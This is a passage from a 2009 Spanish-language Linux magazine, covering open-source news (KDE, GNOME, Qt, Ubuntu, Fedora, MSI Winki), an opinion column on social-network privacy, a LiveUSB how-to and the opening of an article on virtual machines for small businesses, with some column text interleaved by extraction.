de cualquier avance que aumente la conveniencia y facilidad de uso de sus clientes. Esta vez,
MSI ha anunciado oficialmente la creación de
un nuevo dispositivo interactivo en Internet que
no necesita de un sistema operativo instalado en
el PC - llamado Winki. Es un pequeño dispositivo con una gran variedad de funciones: navegación web, comunicación inmediata, llamadas
por VOIP, búsqueda de fotos y algunas otras
funciones más comunes. Todo es accesible al
iniciar Winki y en un instante el mundo en línea
está al alcance del usuario.
Winki tiene como base a Linux, pero gracias a los investigadores de MSI, este nuevo
dispositivo de Internet revolucionará lo que
la mayoría de las personas piensan de Linux.
Todas las instalaciones y la configuración han
sido simplificadas y hecho más sencillas, mediante una simple conexión USB integrada en
la placa madre y unos pocos ajustes al sistema, se puede comenzar a tomar ventaja de esta
pequeña y cómoda herramienta. Con soporte
para 15 idiomas, este dispositivo se adapta a
cualquier usuario en el mundo. Sin embargo,
las principales características de Winki al
compararlo con otros sistemas operativos son:
la rápida velocidad de arranque, un menor
consumo eléctrico, sin problemas causados
por virus, y lo mejor de todo, no costará un
centavo a los usuarios.
Por cierto, Winki optimiza su funcionalidad agrupando un potente conjunto de solucio-
Winki tiene como base a Linux, pero gracias a los
investigadores de MSI, este nuevo dispositivo de
Internet revolucionará lo que la mayoría de las
personas piensan de Linux
nes software. Esta suite incluye Mozilla Firefox
encargado de la navegación por la web, Skype
se encargará de VOIP para llamadas de teléfono, y así otras aplicaciones comunes de modo
que los usuarios no tendrán que pasar mucho
tiempo aprendiendo nuevos programas. También se debe mencionar la inclusión de Pidgin
para la mensajería instantánea (IM), un software que soporta hasta 15 diferentes tipos de
cuentas de mensajería instantánea al mismo
tiempo. No importa qué tipo de cuenta tengan
los contactos, con este programa el usuario
podrá estar seguro que estará en contacto con
todos ellos.
MSI afirma que incluirá a Winki en la mayoría de sus placas madres cuando el momento
sea el correcto, y si hacen lo mismo con futuras
versiones de su Winki, ya van a tener a un buen
grupo de potenciales clientes a la puerta.
http://global.msi.com.tw/index.php?func=
newsdesc&news_no=737
El mundo se acaba… y no hay quien lo pare
H
ace poco tuve la oportunidad de asistir a
una charla sobre seguridad informática en
la que se nos contaron todos los peligros de las
redes sociales para los adolescentes. Y para los
adultos por supuesto. El uso de Tuenti, Facebook
o Linkedin, según expuso el ponente, no es más
que un medio de exponer nuestros datos y dejarlos al alcance de cualquier persona que quiera
perjudicarnos. Básicamente, se nos dijo, es una
locura para nuestra intimidad. Bueno, si él lo dijo, será cierto, por algo es un gran experto y por
eso fue invitado. Pero yo no lo veo así.
www.lpmagazine.org
NE WS
KDE 4.2.1
A poco más de un mes del lanzamiento de
la versión 4.2 de uno de los escritorios más
famosos donde los haya, ha sido puesta
a disposición del público la primera actualización 4.2.1 cream como ha sido denominada. Se trata de una actualización de mantenimiento y es la versión que se recomienda
para todos los usuarios. Esta actualización
no incorpora realmente ninguna nueva
característica pero la estabiliza aún más
y se han realizado mejoras en Kopete,
Kmail y Okular entre otras aplicaciones.
Red Hat, Dell y HP demandadas
por una patente en JBoss
Otra compañía que vuelve a las andadas.
En este caso se trata de Software Tree
LLC, que demanda a Red Hat, Dell, HP
y a Genuitec debido a que, supuestamente,
el middleware de JBoss infringe una patente
suya en el intercambio de datos y comandos entre sistemas orientados a objetos
y sistemas relacionales. Acojonante. Red
Hat es demandada como propietaria del
conocido servidor de código libre, mientras
que las otras compañías son demandadas
por vender software basado en JBoss o por
incluirlo en sus productos. Casualmente
la compañía es partner de Microsoft.
http://barrapunto.com/articles/09/03/05/
0751210.shtml
La Linux Foundation se hace cargo
de Linux.com
Finalmente prevaleció la sensatez y la
Linux Foundation será quien se haga cargo
del abandonado dominio de Linux.com.
Ese sitio muestra ahora el anuncio de su
inevitable relanzamiento prometiendo su
intención de convertirse en la fuente central de información sobre Linux. Pero hay
un truco para cristalizar esa afirmación,
debemos hacerla nosotros: Mientras que la
Linux Foundation proveerá el foro colaborativo, esperamos que Uds. -los verdaderos
expertos de Linux- provean el contenido.
Y para comenzar a recibir esa colaboración
montaron un IdeaForge donde todos pueden
comenzar a dejar sus ideas y sugerencias.
http://www.vivalinux.com.ar/eventos/
linux.com-segun-linux-foundation
KDE 4.2.1
Poco más de un mes después del lanzamiento de KDE 4.2 nos llega su primera
obligada actualización de mantenimiento.
KDE 4.2.1 Cream fue anunciado y es ahora
la versión recomendada para todos los usuarios. Esta actualización estabiliza la anterior
v4.2.0 aún más y no incorpora ninguna
nueva característica entre sus novedades,
pero sí mejoras que involucran a Okular,
su visor de documentos, Kopete y KMail.
Todos los usuarios que prueben esta nueva
versión con el también recientemente
lanzado Qt 4.5 son invitados a reportar
cualquier problema en bugs.kde.org.
http://www.kde.org/announcements/
announce-4.2.1.php
13
NE WS
novedades
Noticias sección llevada por Alex Sandoval [email protected]
FLISOL 2009
El Festival Latinoamericano de Instalación
de Software Libre (FLISoL) es el evento de
difusión de Software Libre más grande en
Latinoamérica. Se realiza desde el año 2005
y su principal objetivo es promover el uso
del software libre, dando a conocer al público en general su filosofía, alcances, avances y desarrollo. Para tal fin, las diversas
comunidades locales de software libre (en
cada país, en cada ciudad/localidad), organizan simultáneamente eventos en los que
se instala, de manera gratuita y totalmente
legal, software libre en los computadores
que llevan los asistentes. Además, en forma
paralela, se ofrecen charlas, ponencias
y talleres sobre temáticas locales, nacionales y latinoamericanas en torno al Software
Libre, en toda su gama de expresiones:
artística, académica, empresarial y social.
Este año se realizará el sábado 25 de Abril
de 2009. El evento está dirigido a todo tipo
de público: estudiantes, académicos, empresarios, trabajadores, funcionarios públicos,
entusiastas y aún personas que no poseen
mucho conocimiento informático. Asiste en
tu Ciudad! La entrada es libre y gratuita.
http://microteknologias.wordpress.com/
2009/03/01/flisol-2009/
GNOME 2.26 RC
Cumpliendo a rajatablas su propio calendario, el proyecto GNOME liberó hoy con
este anuncio el primer Release Candidate
(RC), y el único si todo sale según lo planeado, de la próxima versión 2.26 de su
escritorio para sistemas tipo Unix. La versión definitiva de GNOME 2.26 está ahora
a sólo 2 semanas de distancia.
Este RC es un snapshot congelado del estado actual del desarrollo de GNOME (con
la numeración de v2.25.92) disponible
para el escrutinio de todos antes de la
versión final del próximo 18 de Marzo.
http://permalink.gmane.org/gmane.comp.gn
ome.devel.announce/10
Publicados Qt 4.5.0 y Creator 1.0.0
Nokia, a través de su grupo Qt Software, ha
anunciado hoy la disponibilidad de Qt 4.5.0
y Qt Creator 1.0.0. Qt es un conjunto de
bibliotecas y herramientas para crear aplicaciones multiplataforma (en la que se basa,
por ejemplo, KDE o VLC), y Qt Creator
es un IDE para C++. Esta es la primera vez
en que Qt será publicado como LGPL (también Qt Creator), pero también se incluyen
muchas novedades importantes, como la
inclusión de motores de renderizado intercambiables, el añadido de un SDK, mejoras
de rendimiento, actualización de la versión
de WebKit incluida (con soporte de plugins
de Netscape para soportar Flash), soporte
de ODF, y algunas cosas más. También
se ha anunciado que no se publicarán más
versiones de Qt Extended (un conjunto
de software para móviles usando Qt.
http://www.qtsoftware.com/about/news/
nokia-releases-new-qt-developer-offeringsto-increase-productivity-and-performance
14
Lo único que puede conseguir cualquier
red social es velocidad. Sí, así de claro, velocidad. Podemos imaginarnos esa misma
charla impartida sobre el peligro que representaría, a principio del S. XX, la aparición de
sistemas para reproducción de fotografías en
los periódicos.
Cualquier ciudadano podría ser retratado
y aparecería en los periódicos, suponiendo una
clara violación de su intimidad. Y lo que es
peor, muchos querrían aparecer en esas fotografías, quedando para la eternidad en las hemerotecas.
Y lo que es peor, cualquier ciudadano
que tuviera un pleito con la justicia, verá su
nombre reflejado en los Boletines Oficiales,
en donde se podría localizar sus faltas, incluso
hayan sido ya expiadas o simplemente hubiera sido exculpado: las actas de los tribunales
están en muchos sitios publicadas (¡cientos de
miles de ejemplares del BOE!) y cualquiera
con un poco de curiosidad podría encontrar
el nombre de un ciudadano para hacer mofa
y befa de él.
¿Qué diferencia esto de una red social
del año 2009? Que para encontrar un nombre
tardaríamos mucho tiempo, seguramente más
del que nuestra paciencia pueda aguantar. Pero ahí están. En el Archivo Histórico Nacional
se pueden encontrar infinidad de datos que harían sonrojar a muchos. Pero hay que buscarlos sin Google, y sin nadie vivo que nos pueda
dar una referencia acerca del pleito que un
ciudadano de Tordesillas tuvo por unas tierras
en Dios sabe dónde.
La intimidad (aunque ahora queda más
2.0 llamarla privacidad) siempre ha sido un
problema de cada persona, y no de los sitios
donde está guardada nuestra información. Si
nosotros indicamos que hemos estudiado en
determinado colegio, instituto o universidad,
ese dato se volverá en contra nuestra si, por
ejemplo, se demuestra que en esos sitios ha
habido compra de resultados académicos.
Pero bastaría con revisar los expedientes
en papel para encontrar unos nombres que violen nuestra intimidad. ¿Diferencia? La velocidad. Simplemente eso.
Así que no nos asustemos en exceso. La
intimidad de las personas es exactamente la
misma que hace unos años. Simplemente,
tenemos sistemas más rápidos para acceder
a los datos, no es que haya más peligro. Si hoy
en día se asusta a las adolescentes por los comentarios que ponen en sus blogs, ¿Cuántas
cuarentonas se sonrojarían por las cartas que
enviaron en su día a la revista Vale? ¿Y cuántas sexagenarias con sus comentarios a Elena
Francis?
Tranquilidad en las masas. El mundo no
se va a acabar por tres post en un blog y por
media docena de fotos. Se acabará más rápido,
pero no antes.
Por: Ontinet.com (www.nod32-es.com)
Neurowork organiza la 7ma WhyFLOSS
Conference
N
eurowork organiza la 7ª edición de la
WhyFLOSS Conference, un importante
evento internacional de divulgación de tecnologías abiertas de IT a desarrollarse el próximo
21 de Mayo en la Universidad Carlos III de
Madrid, Campus de Leganés, Madrid, España.
En este evento organizado por Neurowork participaron en anteriores ediciones empresas como
SUN, Red Hat, OpenBravo, IBM, Alfresco, Andago, SIA, Liferay, Opentia, Monolabs, Accenture, Avanzada7, empresas públicas, Ministerios de
Planeamiento, Turismo, Ayuntamientos, universidades como la UPM y la URJC y comunidades de
proyectos como LibreSoft, OpenSolaris, Fundación de I+D de Software Libre (Fidesol) o FFII
entre otros. Se presentarán conferencias variadas
entorno a las tecnologías abiertas de IT separados
por diferentes ejes temáticos en la que expertos
del mundo empresarial darán su experiencia en
Linux+ 5/2009
distintos casos de éxito entorno a las últimas tendencias y modelos de negocio en torno a Software
Libre. Para ello ponentes de reconocido prestigio
y empresas como instituciones públican darán
su experiencia en esta nueva edición de la WhyFLOSS Conference, generando ciclos de discusióny favoreciendo el crecimiento de negocio en
torno a estas tecnologías. Para su participación
se ha abierto el Call for papers en el que se pueden registrar ponencias acerca de las últimas
tecnologías y casos de éxito sobre Software Libre en: http://www.whyfloss.com/es/conference/
madrid09/paper. Luego se ha abierto la inscripción al evento en: http://www.whyfloss.com/es/
conference/madrid09/register.
Para mayor información sobre las formas
de apoyar con su empresa u organización visite la web: http://www.whyfloss.com/es/conference/madrid09sponsor.
novedades
sección llevada por Alex Sandoval [email protected] Noticias
Diraya, fiasco a la andaluza con Microsoft
R
esulta cuando menos paradójico que cuando
la Junta de Andalucía cuenta con una distribución GNU/Linux propia, que acaba de sacar
su versión a la que se denomina Guadalinex V5,
además de ser una de las mejor valoradas en el
mundillo de los usuarios de nuestro querido sistema operativo, llega hasta nuestros oídos la noticia
de que se ha gastado 60.000.000 € (sesenta millones de euros) en una aplicación web desde 2005
y que acaban de enviar a la basura porque no funciona, sin embargo no por que lo hayan invertido
en Guadalinex. Cuando nos informamos un poco
del asunto ya vamos viendo por donde van los
tiros y nos llevamos la sorpresa. Podía leerse en
2005 en las páginas de Microsoft que Diraya revoluciona la gestión sanitaria: ...La columna vertebral de Diraya es la tecnología Microsoft. La
solución presenta una arquitectura centralizada
para los establecimientos de atención primaria,
de modo que los profesionales acceden a las aplicaciones vía Microsoft Terminal Services y Citrix
Metaframe (...) Los consultores de este área
definieron, junto al SAS y los socios del proyecto
(Indra, Fujitsu y Accenture), tres líneas de actuación para responder a las necesidades presentes
y futuras de Diraya. El objetivo era triple: resolver los problemas que habían surgido, evitar que
se repitieran en el futuro y mejorar el uso de los
productos y las tecnologías de Microsoft... Cuando pensamos en un proyecto de esta envergadura
nos imaginamos que la administración coge a un
grupo de ingenieros y los pone a cavilar en serio
sobre las mejores tecnologías para soportar el
sistema, las necesidades del mismo, entrevistarse
con los que realmente los van a usar y todo lo que
se necesita para que sea realmente útil. Pero la
gente que trabaja para la administración pública
sabe que esto no es realmente así. Los contubernios de empresas que se asocian para no tener
competencia y luego subcontratar a otras con
personal que con mucho tienen una cualificación
que habría que verificar y así tener más beneficios
si cabe, son el pan nuestro de cada día. En fin lo
que comentaba al principio sesenta millones de
euros invertidos en una tecnología que no funciona como se puede leer en los periódicos, y posiblemente no pasa nada... cabría preguntarse
¿Para qué invierten en Linux? Si luego por lo
que se ve... a la hora de la verdad no confían en
un sistema que se supone que impulsan o eso nos
quieren hacer creer, porque la prueba la tenemos
ahí, esos millones posiblemente si los hubieran
invertido mediante la tecnología que soporta su
sistema operativo hubieran sido menos... pero
claro... eso ya no lo sabremos.
Hay otras administraciones que son consecuentes con sus postulados y usan el software
que promocionan e impulsan, sin salirnos de
España, pero eso... son consecuentes y aún más
en periodos de crisis.
NE WS
El gobierno alemán destina 500 millones
de euros al Software Libre
Después de que el gobierno británico demostrara que el software libre es mejor para
sus contribuyentes y, a partir de ahí, desarrollara un plan de acción para impulsarlo,
otros gobiernos europeos parecen estar
tomando nota y montando otros planes para
apoyar el Software Libre. En concreto, el
gobierno alemán acaba de decidir destinar
500 millones de euros al programa "Open
Source and Green IT", un programa dedicado a la estabilidad y crecimiento de las
herramientas de Software Libre, tecnologías
"green" y soluciones de seguridad informática para objetivos gubernamentales.
De un total de 500 millones de euros, 300
han sido dispuestos inmediatamente para
el proyecto y 200 están esperando hasta que
las medidas concretas sean propuestas.
Estudiantes de la Unefa se capacitan
en Software Libre
Un total de 45 estudiantes de las carreras
de Ingeniería de Sistemas y Comunicaciones
Electrónicas de la Universidad Nacional Experimental de la Fuerza Armada Bolivariana
(Unefa) inició el taller de Facilitadores Comunitarios en Software Libre, como parte de
las actividades de cooperación que adelanta
el Centro Nacional de Tecnologías de Información (CNTI) con esa casa de estudios.
El objetivo del curso es brindar asesoría
y proporcionar orientación sobre la manera
de impartir una clase o cómo abordar a la
comunidad. El taller se enmarca en el programa de Servicio Comunitario, establecido
como requisito del programa de estudios de
la Unefa.
PUBLICIDAD
www.lpmagazine.org
15
novedades
Ubuntu sección llevada por Francisco Javier Carazo Gil [email protected]
HP certificará Ubuntu
De todas las grandes marcas de hardware
del mundo actual, HP no ha sido la más
rápida en incluir y dar soporte a Linux en
el mundo de escritorio (hemos de decir
que no ha sido la última...) aunque en el
mundo de los servidores, lleva ya años
ofreciéndolo. Entre las distribuciones que
ofrece HP desde hace ya tiempo podemos incluir a Red Hat Enterprise Linux
(RHEL), SUSE Linux Enterprise Server
(SLES), Oracle Enterprise Linux e incluso
Debian.
La siguiente en apuntarse a esta lista es
Ubuntu gracias a unas conversaciones llevadas a cabo por HP y Canonical, la distribución de los chicos de Mark Shuttleworth
conseguirá una certificación completa para
la línea de servidores Pro Liant que entre
otras cosas asegurará un perfecto funcionamiento del hardware en sistemas Ubuntu.
Otra gran marca más en una lista que prácticamente cada mes actualizamos.
9.10, Karmic Koala
Disponible en Octubre de este año, como
manda la costumbre y como no podía ser
de otra forma con un nombre formado por
dos palabras, un adjetivo y el nombre de
un animal, que empiezan por la misma
letra. En este caso le ha tocado el turno al
Koala Kármico (supongo que karmic está
relacionado con el karma y koala se escribe igual en español).
Somos un poco ansiosos esperando la
próxima versión tan pronto, pero es bueno
ir difundiendo el nombre para no dejar
nunca de ver nuevas versiones alfa, beta
y release candidatas.
Qimo, una distribución orientada
a los más pequeños
Para terminar este mes os traemos una
distribución de una temática inusual,
aunque no por eso menos interesante,
una distribución orientada a los niños.
Como no podía ser de otra manera
tratándose de esta sección, Qimo, que
es así como se llama, está basada en
Ubuntu. Incorpora GCompris, todo un
clásico en el software libre educativo
e infantil y además su interfaz gráfica
además de llamativa e intuitiva está
repleta de grandes iconos que le facilitan
a los más pequeños sus primeros contactos
con el ordenador.
Otros títulos software que también incorpora son: Childsplay, Etoys, TuxMath,
TuxType y TuxPaint. Todos ellos tocan
distintos aspectos de la educación de los
más pequeños, desde las matemáticas hasta
la mecanografía, pasando por el dibujo.
Está orientado a niños de más de 3 años,
pero mezclado con un netbook, aunque sea
el más simple y barato del mercado, puede
convertirse en un gran regalo para cualquier
pequeño.
En la red: http://www.qimo4kids.com/
default.aspx
16
Ubuntu VS Windows 7
A
ún recuerdo los artículos que escribí cuando Windows Vista salió al mercado. Por
aquel entonces se comenzó a hablar por primera
vez de un duelo entre Windows Vista y Ubuntu.
Hablamos del año 2007, a mediados más o menos, por lo que las versiones de Ubuntu más recientes eran la 7.04, Feisty Fawn y la 7.10, Gutsy
Gibbon. Al mismo tiempo toda la Comunidad de
Software Libre emprendió una campaña para
desprestigiar, con mayor o menor razón en algunos casos, a Windows Vista. El título de la
campaña era Bad Vista y posiblemente muchos la
recordéis si eráis asiduos de los portales y blogs
centrados en este tema.
El tiempo pasó y no podemos hablar de
que Ubuntu ganara el duelo pero lo que sí podemos afirmar es que Windows Vista ha sido un
completo fracaso para los chicos de Redmond.
Digo que Ubuntu no ganó el duelo claramente,
porque aunque sí que en este período de tiempo
ha subido enormeme en parte gracias a Windows
Vista, todavía no tiene una cuota de usuarios lo
suficientemente grande como para realizar esta
afirmación.
Lo que sí está claro es que Vista ha sido una
decepción para muchos de los fans de Microsoft
y para la compañía en sí. No ya sólo por el bajo
nivel de implantación que está consiguiendo en
los años que lleva en el mercado sino porque su
llegada provocó un renacer de Windows XP.
Aunque parezca mentira, el sistema operativo
de Microsoft que liberaron en 2001, hace ocho
años que se dice pronto, volvió a ser protagonista
porque muchos usuarios lo preferían antes que al
recién llegado Vista.
Podemos criticarle muchas cosas a Vista, la
primera la gran cantidad de recursos que necesita
para llevar a cabo unas tareas, como los efectos
visuales con Aero, muy por encima de aplicaciones similares como CompizFusion. Podemos
seguir contando más detalles, pero según mi opinión, aparte de una estética renovada, que creo
que al menos en el tema estético sí acertaron, el
resto es prácticamente como XP pero con más
dificultades. Un usuario si cambia de sistema
operativo procura que el nuevo le reporte más
ventajas y facilidades que el anterior, y no lo que
ha sucedido con Vista. Además, tenía un coste
económico considerable, por lo que hacía más
fácil su rechazo.
Lo que ya no es algo subjetivo u opinado por
muchos sino un dato más bien, es que a Windows XP se le ha prolongado el soporte y además
sigue estando a la venta. Aparte, las cifras no engañan y a pesar del maquillaje que suponen las
Linux+ 5/2009
ventas de equipos con Vista preinstalado con
licencia OEM, no son ni mucho menos las esperadas por la compañía. El último síntoma objetivo es el rapidísimo desarrollo del futuro (o no
ya tan futuro) Windows 7, que apenas dos años
después, está en la portada de muchas revistas
y con betas ya disponibles en la red.
Aunque posiblemente a muchos de vosotros
no os interese mucho Windows 7, comentaros
que Microsoft ha intentado borrar el mal nombre
que ha dejado Vista en los usuarios y se ha esforzado en un sistema que a todos gustará más que
su predecesor. No se trata de una versión remozada sino de un desarrollo llevado a cabo desde la
base para conseguir un sistema totalmente nuevo
que según comentan, asegura compatibilidad con
aplicaciones y controladores (esto último habrá
que verlo) con las versiones anteriores de Windows. El propio fundador de Canonical y Ubuntu, Mark Shuttleworth ha anunciado la buena
impresión que le ha causado y no son pocas las
voces dentro del Software Libre que han hablado
de Windows 7 como un paso adelante en calidad.
Sin embargo, no hay que preocuparse ni llegar
a pensar en deserciones sino pensar que una
competencia digna mejorará aún más el producto de Canonical y de la Comunidad.
La versión, o más bien versiones, de Ubuntu
encargada de hacer frente a este nuevo enemigo
serán si no se retrasa el lanzamiento Jaunty
Jackalope, la versión 9.04, y Karmic Koala, la
9.10 de la que hablamos al lado. Este duelo será
mucho más interesante. El rival a batir ha sabido
jugar sus cartas y está preparado para ofrecer
más batalla de la que ofreció su predecesor y la
fama conseguida por Ubuntu en estos dos años
ha conseguido que estemos cerca de hablar de
un aunténtico duelo. En un campo como el de
los netbooks, de los que hemos hablado en varias
ocasiones en esta misma sección los últimos meses, Microsoft se siente herido porque la cuota
de mercado conseguida por Linux en equipos
vendidos en las tiendas, ha superado todas las
expectativas. No nos referimos a usuarios que
posteriormente instalan Linux en el equipo, sino
que lo compran directamente en la tienda con él
preinstalado. Es un gran logro primero por parte
de los usuarios, que se sienten cada vez más cómodos con él y por otro por parte de las marcas
de hardware que ven viable económicamente
lanzar portátiles con distintas distribuciones
GNU/Linux preinstalado. Aparte Windows Vista
nunca llegó a entrar en este mercado y delegó en
Windows XP ya que los requisitos hardware eran
excesivos para los pequeños netbooks.
novedades
sección llevada por Diego Rivero Montes [email protected] Fedora
Fedora 11 Games Spin
A
unque se encuentra aún en estado alfa, no
se deja de trabajar en los Spin, y he aquí el
resultado de la versión 11 dedicada a juegos. Se
ha trabajado mucho y se sigue trabajando para
su puesta a punto y se llamará Fedora 11 Games
Spin. Se trata de una modificación de la versión
alfa de Fedora 11 en la que se pone énfasis en
demostrar a propios y extraños, nuevos y antiguos, usuarios de Fedora que en el mundo Linux
también existe gente “GAMER”.
Como se expresa en la página de la versión
http://fedoraproject.org/wiki/Games_Spin, donde podemos encontrar todo sobre esta variante
YUM, planes para la transición
a la arquitectura i686 de Fedora 12
de Fedora, está destinada al us live y para usar
menos el Wine. Como sería imposible, por
motivos de espacio, incluir todos los juegos en
un DVD de Fedora, lo que se ha intentado es
incluir los que a su juicio son los mejores juegos
de los diferentes géneros. En la distro se incluyen
todos los juegos con la premisa que deben ser
reproducibles sin descargas de terceros es decir
íntegramente jugables.
Lo ideal es descargarlo a través del torrent,
la imagen que se puede descagar desde aquí http:
//spins.fedoraproject.org/torrents//Fedora-11Alpha-i686-Live-Games.torrent pesa unos 4Gb.
Parece ser que en el seno de Fedora se ha
empezado la discusión sobre la conveniencia de la transición a la arquitectura i686
de los paquetes base. Ahora que Fedora 11
x86 32bits va a estar basado en paquetes
i586 en lugar de los i386, lo que realmente
se está discutiendo en sí es la denominación a dar a los repositorios, si bien
sería un poco confuso denominarlos i386
cuando en realidad nos estamos refiriendo
a i586, evidentemente es poco apropiado
para la oferta x86. De todos modos lo que
parece seguro es que Fedora 12 será i686.
Fedora 10 RE-SPINS
Con fecha 16 de febrero vio la luz la nueva
RE-SPINS, sobre la base de Fedora 10.
El Re-Spins lanzado contiene en el DVD
o CD de Fedora 10, todas las actualizaciones llevadas a cabo en la distribución
hasta el día 10 de febrero.
Iniciando en 20 segundos
20 Second Startup, o como se puede leer
en sitios de internet de 0 a Fedora en 20
segundos. Así es, Leonidas, la nueva versión de Fedora nos traerá un importante
avance a la hora del arranque. El propósito
es, según hemos podido averiguar, lograr
un inicio en unos veinte segundos hasta
la pantalla de conexión y ser lo más rápido
posible tras el inicio de sesión (sesión
Gnome) e igualmente que el apagado
sea igual de rápido.
El coste de Linux
Fedora Games
Un poco de bricolage
P
ara todos aquellos amantes de llevar su distro a cuestas proponemos hoy un poco de
bricolage linux. Nos hacemos eco del excelente
trabajo que hicieron los componentes del equipo
Fedora con la herramienta LiveUSB Creator ya
que tiene muchas y buenas cualidades como el
hecho de ser multiplataforma es decir que podemos hacerlo también desde el dichoso Window$
y también permite indicar el espacio que quermos dedicar para datos y demás sin complicaciones y todo de la forma más visual. Y ahora
a ver como hacemos para obtener una Fedora
para llevar.
Desde windows XP
Lo primero que hay que hacer es ir a la página
oficial que es ésta y descargarnos el fichero
liveusb-creator-3.2.zip (10.6M): https://fedora
hosted.org/liveusb-creator.
Después como es natural descomprimimos
el ficherito y hacemos doble click en el fichero liveusb-creator. Una vez hecho esto desde browse
buscamos la imagen iso (si la hemos descargado)
si no damos en Download Fedora y la descarga-
mos. Posteriormente localizamos nuestro dispositivo en Target Device que debiera tener mínimo 1GB y si tiene 2GB bastante mejor ya que
Fedora nos ocupará unos 690 MB. Y por último
Persistent Storage, en este apartado indicaremos
el espacio que queremos dedicar a almacenar los
cambios. Para un dispositivo de 1GB deberíamos poner 200 MB aproximadamente. Y ahora
a crearlo, pulsar Create Live USB.
Desde Fedora Linux
Desde Fedora Linux en las versiones 9 y 10 lo
tenemos mucho más fácil si cabe, en nuestro menú iremos a agregar/quitar software, buscamos
liveusb-creator y hacemos que se instale pero si
lo queremos hacer desde la línea de comandos
con yum, únicamente tenemos que teclear como
root yum install liveusb-creator.
Una vez instalada la aplicación, el resto del
proceso es idéntico al mostrado para Window$
XP. Y listo ya tenemos nuestra distro para llevar
puesta a todas partes y con la ventaja de ocupar muy poquito espacio siendo totalmente
funcional.
www.lpmagazine.org
Según un informe publicado por la “Linux
Foundation” en el que mediante un estudio
exhaustivo se examinan las circunstancias
actuales y se pone de manifiesto que el
coste que supondría generar y desarrollar
el kernel de Linux desde cero en la actualidad llega a cifras abrumadoras. Pues sí,
la cifra realmente llama la atención 1.400
millones de dólares (mil cuatrocientos
millones) y eso únicamente hablando del
kernel, ya que si lo que nos proponemos
es crear una distribución completa como
Fedora, la cifra se pondría en los 10.800
millones de dólares.
Xfce 4.6
Dspués de dos años dedicados a su desarrollo por fin ha sido liberada la versión
4.6 de este entorno de escritorio. Xfce
4.6 presenta una serie de novedades en
todos los aspectos y en especial una nueva
configuración del backend, también nuevo
administrador de configuración, igualmente ha sido renovado el administrador de
sesiones y el mezclador de sonido
y muchas mejoras desde la última
versión candidata: http://www.xfce.org/.
Por lo que se vislumbra será uno de los
escritorios de elección para la nueva
versión de Fedora ya que en la versión
alfa de Leónidas fué incorporada ésta
en versión beta.
17
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
Máquinas virtuales:
Una alternativa para PYMES
Daniel García
[email protected]
Con este artículo podrá aprender el concepto de máquina virtual,
en qué se basan, su funcionamiento y cómo instalar, compilar
y configurar su propia red a base de máquinas. El único requisito
es disponer de un PC y ganas de aprender.
18
P
ara una correcta explicación de todo el entorno de múltiples ordenadores para el desempeño de sus funciones.
pruebas es necesario instalar un sistema base en Por nombrar algunos:
una máquina virtual. Por ello también se explicará, paso a paso, este proceso. El sistema a instalar • Desarrolladores: Cuando se desarrolla, sobre todo serserá la distribución GNU/Linux: Debian. Más adelante se
vicios web, se suelen necesitar varios PC o servidores.
detallan cualquier tipo de duda en cuanto a distribuciones o el
Sería realmente útil simular todos estos PCs o redes
porqué de la elección de dicha distribución.
en su ordenador. Sin necesidad de cualquier tipo de
servicio externo. Una vez que todo estuviera probado
¿A quién va dirigido el artículo?
y funcionando correctamente podría ser trasladado al
Aunque el artículo puede tener un uso generalizado de los
servidor real. Como ejemplos podríamos poner: Serusuarios, si usted necesita implantar un entorno de pruebas
vidores web, gestores de bases de datos, sistemas de
en una PYME y no dispone de mucho presupuesto, tiene siscontrol de versiones, etcétera.
temas Linux corriendo en sus máquinas (aunque también • Administradores de sistemas: Normalmente los admifunciona bajo otras plataformas, como Windows), es defennistradores necesitan realizar numerosas pruebas cuando
sor del software libre o quiere exprimir al máximo el ren0
aparecen nuevos parches para las diferentes versiones de
dimiento de sus servidores, encontrará sumamente útil este
software que tengan instaladas. El instalar estos parches
artículo.
en máquinas que se encuentren en producción es muy
El nivel del artículo comenzará siendo muy bajo. No
arriesgado: El servicio podría dejar de funcionar. Por
se presupondrá ningún tipo de conocimiento previo por
eso lo más recomendable es que se probará en una máparte del lector, ni de máquinas virtuales ni Linux. Aunque
quina que sea una réplica de la que se quiere actualizar.
aquellos profesionales que realmente podrían aprovechar, en
Comprobado que todo funciona correctamente, entonces
mayor medida, todo lo que se expone, son los que necesitan
realizar las actualizaciones en la máquina real. Esto pue-
Linux+ 5/2009
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
•
•
•
de aplicarse también para cuando se desea
añadir nuevo software.
Administradores de redes: Administrando una red media-grande surgen muchos
problemas de mantenimiento. Cuando se
desean hacer pruebas sobre un nuevo servicio a instalar, probar el funcionamiento de
un cortafuegos, simular clientes reales de la
red, etc. O tenemos un gran número de PC o
creamos máquinas virtuales que lo simulen.
Administradores/Auditores de seguridad:
Para la gente encargada de seguridad el
concepto y uso de máquinas virtuales está a
la orden del día, dado que tienen que probar
infinidad de sistemas y simular todo tipo de
situaciones. Seguramente este artículo les
sepa a poco, pero por lo menos me gustaría
enseñarles que existen alternativas al software que usan (normalmente comercial).
Curiosos: También deberíamos de nombrar
a todas esas personas que no se encuentran dentro de ninguno de los anteriores
grupos, pero les gusta probar todo tipo de
cosas. Sé de gente que ha rescatado sus
viejos juegos de MS-DOS en máquinas
virtuales. Otros que querían jugar a un
juego de Linux en Windows (o viceversa).
Muy útil para estudiantes que necesiten
hacer prácticas con otros sistemas operativos y no deseen instalarlo en su ordenador.
Se podrían nombrar infinidad de casos.
¿Qué debería saber?
Para poder seguir satisfactoriamente todo el artículo no hace falta tener prácticamente ningún
conocimiento anterior sobre máquinas virtuales
ni compilación de paquetes. Incluso el tener
demasiados conocimientos sobre GNU/Linux no
es necesario, puesto que se parte de la base que
el usuario es totalmente nuevo en Linux. Para
poder sacar un buen aprovechamiento al artículo
sería suficiente con tener una Ubuntu/Kubuntu (o
similares) instalada. Hago mención a esta distribución por su extremada sencillez. Sobre todo en
lo que al proceso de instalación se refiere.
Organización de ideas
importante, saber encuadrar todos los concepSé, por experiencia, que cuando uno se adentra tos en cada momento.
en un nuevo terreno todo suele ser bastante
caótico. Los conceptos se entremezclan y en- Índice de la primera parte
revesan sin saber bien donde se sitúa cada cosa. Por ese motivo hay un pequeño índice con • Introducción a las máquinas virtuales:
lo pasos que se van a hacer para poder seguir
– ¿Qué es una máquina virtual?
de forma simple todos los contenidos y, lo más
– ¿Porqué una máquina virtual?
Listado 1. Compilación e instalación del módulo de VirtualBox
# cd /usr/src/vboxdrv-2.0.4
(Compilamos e instalamos)
# sudo make && sudo make install
(Cargamos el módulo)
# modprobe vboxdrv
Listado 2. Instalación de todas las dependencias necesarias
